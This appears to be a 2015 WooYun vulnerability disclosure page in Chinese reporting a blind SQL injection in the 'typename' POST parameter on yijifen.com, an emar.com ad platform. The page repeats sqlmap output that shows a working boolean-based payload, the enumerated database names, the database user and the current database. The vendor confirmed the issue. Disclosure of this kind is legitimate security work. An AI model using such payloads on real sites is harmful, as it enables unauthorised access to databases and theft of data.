当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156497

漏洞标题:亿玛某旗下网站主站存在sql注入

相关厂商:emar.com

漏洞作者: Aug0st

提交时间:2015-11-29 22:06

修复时间:2016-01-14 17:34

公开时间:2016-01-14 17:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-29: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经确认,细节仅向厂商公开
2015-12-10: 细节向核心白帽子及相关领域专家公开
2015-12-20: 细节向普通白帽子公开
2015-12-30: 细节向实习白帽子公开
2016-01-14: 细节向公众公开

简要描述:

请看报道
易积分是亿玛创新网络(天津)有限公司旗下的手机移动广告平台,秉承亿玛创新网络(天津)有限公司的效果营销理念,易积分平台为数以万计的广告主提供基于效果付费的移动广告投放,同时为广大手机应用开发者创造良好而稳定的移动广告收益

详细说明:

地址:http://www.yijifen.com/ 先注册个账号
登录进入之后

19.png


如图,点查询按钮抓包

20.png


sqlmap identified the following injection point(s) with a total of 41 HTTP(s) requests:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
available databases [8]:
[*] dbaadmin
[*] eqile
[*] escore
[*] information_schema
[*] luckcat
[*] mysql
[*] performance_schema
[*] test
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
No tables found
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
current user: 'ddcddd@%'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
current database: 'escore'

漏洞证明:

地址:http://www.yijifen.com/ 先注册个账号
登录进入之后

19.png


如图,点查询按钮抓包

20.png


typename参数存在注入:
sqlmap identified the following injection point(s) with a total of 41 HTTP(s) requests:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
available databases [8]:
[*] dbaadmin
[*] eqile
[*] escore
[*] information_schema
[*] luckcat
[*] mysql
[*] performance_schema
[*] test
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
No tables found
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
current user: 'ddcddd@%'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: typename (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: app_id=1&typename=(SELECT (CASE WHEN (3896=3896) THEN 3896 ELSE 3896*(SELECT 3896 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
back-end DBMS: MySQL 5.0
current database: 'escore'

修复方案:

过滤

版权声明:转载请注明来源 Aug0st@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-11-30 17:33

厂商回复:

感谢提供信息,我们紧急修复

最新状态:

暂无


漏洞评价:

评价